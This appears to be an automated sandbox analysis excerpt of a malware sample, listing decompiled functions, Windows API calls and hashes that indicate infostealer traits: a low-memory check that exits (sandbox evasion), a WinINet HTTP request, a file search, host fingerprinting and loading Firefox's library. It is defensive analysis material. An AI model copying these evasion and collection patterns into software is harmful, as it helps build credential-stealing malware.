Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 7d756ef0a3f777df7daa6e0b38ae3eb6870f0a0c277f27cfb5ed59c377bca959
Instruction ID: f6c5df770b3b22795d0f0c41b07afd14a5b20091184181437dce9071d95817be
Opcode Fuzzy Hash: 7d756ef0a3f777df7daa6e0b38ae3eb6870f0a0c277f27cfb5ed59c377bca959
Instruction Fuzzy Hash: 625180B0D00208EBDF14EB90DC99BEEB375AF54304F5045AAE11976281EB786E88CF65

Function 007D4CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C62D0: InternetOpenA.WININET(007E0DE6,00000001,00000000,00000000,00000000), ref: 007C6331
Part of subcall function 007C62D0: StrCmpCA.SHLWAPI(?,012DE818), ref: 007C6353
Part of subcall function 007C62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007C6385
Part of subcall function 007C62D0: HttpOpenRequestA.WININET(00000000,GET,?,012DE170,00000000,00000000,00400100,00000000), ref: 007C63D5
Part of subcall function 007C62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007C640F
Part of subcall function 007C62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007C6421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007D4D08

Strings

ERROR, xrefs: 007D4CFA
ERROR, xrefs: 007D4D53

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 90fc9ce3925b915236b550e284bb65bddfdc0d2899f672e780a316ad61ce9976
Instruction ID: 5dd5107e616b21c2825f8ed7f0a801b6a307eeb83031e61dd9dcaf8b5581f266
Opcode Fuzzy Hash: 90fc9ce3925b915236b550e284bb65bddfdc0d2899f672e780a316ad61ce9976
Instruction Fuzzy Hash: 4D11EF7091014CE7CB14FF64DC9AEED7338BF50300F904569B91A5A292EB79AB14C661

Function 007C1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007C123E
ExitProcess.KERNEL32 ref: 007C1294

Strings

@, xrefs: 007C1233

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: e2a51d7c0b2840883d4dcf665d4709e1e8fc894a21fa79279d77832acaf3fb59
Instruction ID: a236ab2d006de1fb63744f438c6786e51c9a4d14e7cda136e66d948e3c0b2e15
Opcode Fuzzy Hash: e2a51d7c0b2840883d4dcf665d4709e1e8fc894a21fa79279d77832acaf3fb59
Instruction Fuzzy Hash: 72014FB4A44308EAEF10EBE4CC49F9EB778BB15705F50805DE604BA281D77859418759

Function 007D4A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

lstrcat.KERNEL32(?,00000000), ref: 007D4A5A
lstrcat.KERNEL32(?,007E1040), ref: 007D4A77
lstrcat.KERNEL32(?,012D9078), ref: 007D4A8B
lstrcat.KERNEL32(?,007E1044), ref: 007D4A9D

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D440C
Part of subcall function 007D43F0: FindFirstFileA.KERNEL32(?,?), ref: 007D4423

Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FAC), ref: 007D4451
Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FB0), ref: 007D4467
Part of subcall function 007D43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 007D465D
Part of subcall function 007D43F0: FindClose.KERNEL32(000000FF), ref: 007D4672

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f131aacb55fcc26958a1f7d74503488cd647ffb5e20104139f7829d1143830f7
Instruction ID: f623dafa5d0d3bc841ee231b708f6d0eb0cc6e1439999ab8ff12e0d728816a54
Opcode Fuzzy Hash: f131aacb55fcc26958a1f7d74503488cd647ffb5e20104139f7829d1143830f7
Instruction Fuzzy Hash: B42142B6514248E7C754FB60EC86EDD373CAB44300F408159B58557281DE795EC88BA1

Function 007D0580 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,012D8FF8), ref: 007D05DA
StrCmpCA.SHLWAPI(00000000,012D8F08), ref: 007D06A6
StrCmpCA.SHLWAPI(00000000,012D90E8), ref: 007D07DD

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 1024adaa1b4040b36a551e1587cad13aa12d49bb2c23364f61f5fbf79d2f97c5
Instruction ID: 471b4ff009c10adb7771557ba1060e955e30f541f8ac2483a7a5aa8d2c424a8b
Opcode Fuzzy Hash: 1024adaa1b4040b36a551e1587cad13aa12d49bb2c23364f61f5fbf79d2f97c5
Instruction Fuzzy Hash: A0916375A00248EFCB18EF64D996FED7775BF94300F40812DE84A8F352DA35AA05CB92

Function 007D05A5 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,012D8FF8), ref: 007D05DA
StrCmpCA.SHLWAPI(00000000,012D8F08), ref: 007D06A6
StrCmpCA.SHLWAPI(00000000,012D90E8), ref: 007D07DD

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 129e5b45abc407c52016ed823f5ec5dc279e55a8c9e0a92ef19ad30e06684c33
Instruction ID: 90e1222ef0d1a68d5dfa593ea39a6f70532b0e9950b7d82bc9b30d25b055adcb
Opcode Fuzzy Hash: 129e5b45abc407c52016ed823f5ec5dc279e55a8c9e0a92ef19ad30e06684c33
Instruction Fuzzy Hash: EA815375A00249EFCB18EF64D995EEDB7B6BF94300F108129E8499F351DB35AA05CB82

Function 007D7380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D73B0
RtlAllocateHeap.NTDLL(00000000), ref: 007D73B7
GetComputerNameA.KERNEL32(?,00000104), ref: 007D73CF

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: acbe85e3211df6c19946396b17cc6b7f69f380087157354a55cd76f8a321db43
Instruction ID: fcec0618a60b2fd3d12f10bc781e0fea7c4d3d58b347cc9227bb43550e77f1ab
Opcode Fuzzy Hash: acbe85e3211df6c19946396b17cc6b7f69f380087157354a55cd76f8a321db43
Instruction Fuzzy Hash: 9F01A9B1948348EBC714CF99DD45BAEBBB8F704712F10022AF505E7780D3785904CBA1

Function 6C5D3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5D3095

Part of subcall function 6C5D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
Part of subcall function 6C5D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
Part of subcall function 6C5D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
Part of subcall function 6C5D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
Part of subcall function 6C5D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
Part of subcall function 6C5D35A0: __aulldiv.LIBCMT ref: 6C5D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D309F

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5D30BE

Part of subcall function 6C5D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5D3127
Part of subcall function 6C5D30F0: __aulldiv.LIBCMT ref: 6C5D3140

Part of subcall function 6C60AB2A: __onexit.LIBCMT ref: 6C60AB30

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction ID: e0fec6d3bf2052893f8e5edae1787bd2b5a156a3c28f95b416bc85970485bd60
Opcode Fuzzy Hash: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction Fuzzy Hash: 7CF0F922E2074896CB14DF358DC11E67370AFAB114FA15319E88463591FB2065D883CF

Function 007D8F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 007D8F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007D8F45
CloseHandle.KERNEL32(00000000), ref: 007D8F4F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
